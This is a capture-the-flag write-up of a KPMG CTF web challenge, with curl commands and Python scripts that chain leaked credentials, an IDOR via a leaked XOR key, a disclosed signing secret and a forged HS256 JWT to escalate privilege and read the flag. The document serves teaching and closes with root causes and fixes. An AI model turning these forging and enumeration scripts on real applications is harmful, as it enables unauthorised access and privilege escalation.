The Dragon Warrior: JWT Forgery via Chained Info-Leaks
On this page
Flag: KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}
Target: http://kicyber-42655a84d365-the-dragon-warrior-0-0.chals.io Category: Web (React SPA + FastAPI) / IDOR + secret disclosure → JWT forgery → privilege escalation Hint (from KPMG CTF): “You are Po. Master Shifu doesn’t think you’re ready… Explore the Jade Palace, earn your dragon seal, and find out what the scroll has been hiding.”
Overview
A Kung-Fu-Panda-themed React (Vite) front end talking to a FastAPI backend under /api. The
flag lives at GET /api/scroll, which only opens to a player whose rank == "dragon-warrior".
Rank is granted by POST /api/dragon-seal/certify, which validates a “dragon seal” (an HS256
JWT) and reads its rank claim.
Becoming the Dragon Warrior chains four bugs:
- Credentials hidden in a static asset: login creds for Po are in a comment inside
/favicon.svg. - IDOR on training files via a reversible “cipher”:
GET /api/training/lesson/<ref>whererefis justusernameXOR-encrypted with a key the app itself leaks, so any user’s file is readable. Shifu’s file documents the seal mechanism. - Signing-secret disclosure: the
/api/oogwayendpoint prints the JWT signing phrase. - JWT forgery / privilege escalation: sign a seal with
rank: dragon-warriorusing that secret, certify it, and read the scroll.
Recon
1. It’s an SPA; find the other “door”
base="https://kicyber-42655a84d365-the-dragon-warrior-0-0.chals.io"
curl -s "$base/" | sed -n '1,20p'
The HTML is a Vite shell with a telling comment: “the palace has more than one door.” Pull the JS bundle and mine it for the API:
curl -s "$base/assets/index-BIpxLhGm.js" -o dragon.js
grep -oE '"/[a-zA-Z0-9_./-]*"' dragon.js | sort -u
Output (routes/endpoints): /auth/login /auth/me /auth/logout /dragon-seal/mine
/dragon-seal/certify /scroll /warriors /oogway /shifu /training. The API base is
Wh="/api". Beautifying the bundle shows the gate logic:
// scroll chamber only renders when:
(player?.rank) === "dragon-warrior" ? <ScrollChamber/> : <SealPrompt/>
// flag: Ae.get("/scroll").then(o => r(o.flag))
// my training ref is hardcoded:
const _s = "1a0e"; Ae.get(`/training/lesson/${encodeURIComponent(e)}`)
Everything under /api requires auth ({"detail":"The Jade Palace does not recognize you."}),
and there is no register endpoint (POST to unknown paths returns 405 only because the catch-all
404 route is GET-only; OPTIONS confirms the real method map).
2. The hidden credentials
The homepage comment points “elsewhere”. The favicon carries them:
curl -s "$base/favicon.svg" | sed -n '1,15p'
Output (comment):
disciple: po
key: skadoosh1
Log in (cookie-based session):
api="$base/api"
curl -s -i -c po.txt -X POST "$api/auth/login" -H 'Content-Type: application/json' \
--data '{"username":"po","password":"skadoosh1"}' | grep -iE 'HTTP|set-cookie'
# HTTP/1.1 200 OK
# set-cookie: JPSID=...; HttpOnly; Max-Age=43200; Path=/; SameSite=lax
curl -s -b po.txt "$api/auth/me"
# {"username":"po","rank":"trainee","name":"Po"}
The seal is a JWT
curl -s -b po.txt "$api/dragon-seal/mine"
# {"seal":"eyJhbG...<HS256 JWT>..."}
curl -s -b po.txt -X POST "$api/dragon-seal/certify" -H 'Content-Type: application/json' \
--data "{\"seal\":\"<my trainee seal>\"}"
# {"detail":"This seal does not carry the rank the chamber requires."}
Decoded seal payload:
{"sub":"b3845902-eda0-473e-a82d-37cd7aa0c918","rank":"trainee","iat":...,"exp":...,"iss":"jade-palace"}
certify verifies the HS256 signature and checks the rank claim:
- forged
alg:none→{"detail":"The palace could not verify this seal."}(rejected) - so I need a seal validly signed with
rank: dragon-warrior. rockyou +alg:noneboth fail; the secret must be found in-band.
Leak #2: IDOR training files via the “Jade Cipher”
My own training file (ref 1a0e) leaks a reversible cipher:
curl -s -b po.txt "$api/training/lesson/1a0e" | python3 -c 'import sys,json;print(json.load(sys.stdin)["notes"])'
Output includes:
def encrypt(text, key=b"jade-cipher-77"):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(text.encode())).hex()
And encrypt("po") == 1a0e: my ref is just my username XOR’d with jade-cipher-77. So the
ref is a trivially forgeable token → IDOR over every warrior’s file:
enc(){ python3 -c "k=b'jade-cipher-77';t=b'$1';print(bytes(b^k[i%len(k)] for i,b in enumerate(t)).hex())"; }
curl -s -b po.txt "$api/training/lesson/$(enc shifu)" | python3 -c 'import sys,json;print(json.load(sys.stdin)["notes"])'
Shifu’s “Dragon Warrior Certification (RESTRICTED)” file:
Candidates are authenticated through the Jade Palace Dragon Seal.
Seal algorithm: HS256.
The signing phrase is not written here... Master Oogway alone has been known to speak of it...
Required rank claim for chamber access: dragon-warrior.
It answers only at its own door -- /scroll ...
Leak #3: Oogway discloses the signing secret
curl -s -b po.txt "$api/oogway" | python3 -m json.tool
Output (last line):
"A seal is only as secret as the phrase behind it. Should such a phrase ever slip from these old
lips, it would sound something like: 617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"
That hex string, used literally as the HMAC key (ASCII), reproduces my real seal’s signature, confirming it’s the secret:
python3 - <<'PY'
import hmac,hashlib,base64
tok=open("seal.txt").read().strip()
signing='.'.join(tok.split('.')[:2]).encode(); want=tok.split('.')[2]
k=b"617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"
sig=base64.urlsafe_b64encode(hmac.new(k,signing,hashlib.sha256).digest()).rstrip(b'=').decode()
print("MATCH" if sig==want else "no") # -> MATCH
PY
Exploit: forge the seal (SOLVED)
SECRET="617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"
SUB="b3845902-eda0-473e-a82d-37cd7aa0c918"
FORGED=$(python3 - "$SECRET" "$SUB" <<'PY'
import sys,hmac,hashlib,base64,json,time
secret=sys.argv[1].encode(); sub=sys.argv[2]
b64=lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
now=int(time.time())
h=b64(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p=b64(json.dumps({"sub":sub,"rank":"dragon-warrior","iat":now,"exp":now+3600,"iss":"jade-palace"},separators=(',',':')).encode())
sig=b64(hmac.new(secret,f"{h}.{p}".encode(),hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")
PY
)
curl -s -b po.txt -X POST "$api/dragon-seal/certify" -H 'Content-Type: application/json' \
--data "{\"seal\":\"$FORGED\"}"
curl -s -b po.txt "$api/scroll"
Output:
{"message":"Master Shifu has recognized your Dragon Seal.","rank":"dragon-warrior","dragon_scroll_chamber":"open"}
{"flag":"KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}"}
Flag: KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}
Why it works
- Secrets in client-reachable static files. The favicon shipped working credentials; “hidden in a comment” is not hidden.
- Home-rolled, key-disclosed cipher as an access token. The training
refisXOR(username, "jade-cipher-77")and the key is printed in a file the user can read, so refs are forgeable and the per-user check is meaningless → IDOR to every record. - The signing secret is served by the API.
/oogwayprints the exact HS256 key; with it, any claim (includingrank) can be minted. certifytrusts the token’srankclaim. A valid signature is the only gate, and once the secret leaks that gate is open.
Root cause & fix
- Never ship secrets to the client: no credentials in HTML/SVG/JS; the favicon leak and the
/oogwaysecret are both disclosure bugs. Keep signing keys server-side only. - Don’t use reversible, client-keyed tokens as object references. Use unguessable, server-side
IDs and enforce ownership/authorization on
training/lesson/<ref>; never derive access from a value the client can recompute. - Keep JWT signing keys high-entropy and private, and consider binding critical authorization
(chamber access) to server-side state rather than a self-asserted
rankclaim the user can influence if the key ever leaks. - Pin the algorithm server-side (reject
none), which this app did; the break was key disclosure, not alg confusion.
Takeaways
- Read the “boring” static files first:
/favicon.svg, bundle comments, CSS. Challenges love hiding step 1 there (“more than one door”). - When a file hands you a cipher/key and your own identifier decodes under it, you’ve found an IDOR primitive; forge other identifiers immediately.
- For JWT seals: try
alg:noneand a rockyou crack, but also hunt for the secret in-band: here it was literally printed by an API endpoint. Verify a candidate key against a known-good token before forging.